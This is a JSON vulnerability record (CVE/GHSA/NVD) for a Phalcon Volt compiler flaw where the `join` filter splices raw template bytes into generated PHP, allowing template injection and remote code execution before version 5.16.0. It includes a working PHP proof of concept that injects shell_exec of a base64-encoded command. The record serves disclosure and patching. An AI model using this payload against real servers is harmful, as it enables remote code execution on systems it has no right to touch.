{"id":"CVE-2026-59989","aliases":["CVE-2026-59989","GHSA-hrwp-4hh9-c8r8"],"related":[],"kind":"vulnerability","state":"published","title":"Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI lead to RCE)","summary":"Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\\Mvc\\View\\Engine\\Volt::render() loads the template. This issue is fixed in version 5.16.0.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Phalcon is a high-performance, full-stack PHP framework. In 5.15.0 and earlier, resolveFilter in phalcon/Mvc/View/Engine/Volt/Compiler.zep builds the join filter by inserting the raw separator and array token values into generated PHP without passing them through expression(). An attacker who can influence Volt template source can place quote-breaking content in a join argument, inject PHP into the compiled cache file, and execute it when Phalcon\\Mvc\\View\\Engine\\Volt::render() loads the template. This issue is fixed in version 5.16.0.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter's **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join('…')` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n    return \"join('\" . funcArguments[1][\"expr\"][\"value\"]\n        . \"', \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join('` … `'` quotes with no neutralisation of `'`, and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -> `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join('\", &_19$$24, \"', \", &_22$$24, \")\");\n```\n\ni.e. literally `\"join('\" + separator + \"', \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n<?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = 'id; uname -a; hostname';\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ ['x'] | join(\\\"',[]); echo shell_exec(base64_decode('$b64')); //\\\") }}\";\n\n$compiled = (new Compiler())->compileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n<img width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" />\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Phalcon es un framework PHP de alto rendimiento y pila completa. En 5.15.0 y versiones anteriores, resolveFilter en phalcon/Mvc/View/Engine/Volt/Compiler.zep construye el filtro de unión insertando los valores brutos del separador y del token de array en el PHP generado sin pasarlos por expression(). Un atacante que puede influir en la fuente de la plantilla Volt puede colocar contenido que rompa las comillas en un argumento de unión, inyectar PHP en el archivo de caché compilado y ejecutarlo cuando Phalcon\\Mvc\\View\\Engine\\Volt::render() carga la plantilla. Este problema está solucionado en la versión 5.16.0.","source":"nvd"}],"published":"2026-08-21T20:25:44.767Z","modified":"2026-10-12T16:10:00.220Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.2,"rating":"CRITICAL"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.2,"rating":"CRITICAL"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","rating":"CRITICAL"}],"cwes":["CWE-94","CWE-1336"],"affected":[{"ranges":[{"version":"< 5.16.0","status":"affected"}],"vendor":"phalcon","product":"cphalcon","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"5.16.0"}],"ecosystem":"Packagist","package":"phalcon/cphalcon","purl":"pkg:composer/phalcon/cphalcon","source":"ghsa"}],"references":[{"url":"https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/phalcon/cphalcon/pull/17217","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/phalcon/cphalcon/releases/tag/v5.16.0","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59989","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/phalcon/cphalcon","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2026-08-25T03:56:56.036Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-59989","url":"https://www.cve.org/CVERecord?id=CVE-2026-59989","licence":"CVE Terms of Use","modified":"2026-08-27T16:24:50.700Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hrwp-4hh9-c8r8","url":"https://github.com/advisories/GHSA-hrwp-4hh9-c8r8","licence":"CC-BY-4.0","modified":"2026-09-11T05:15:04.527Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-59989","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-59989","licence":"Public domain","modified":"2026-10-12T16:10:00.220Z"}],"updatedAt":"2026-11-25T22:59:34.827Z","epss":{"score":0.00313,"percentile":0.2609,"date":"2026-12-01T12:00:22.000Z"}}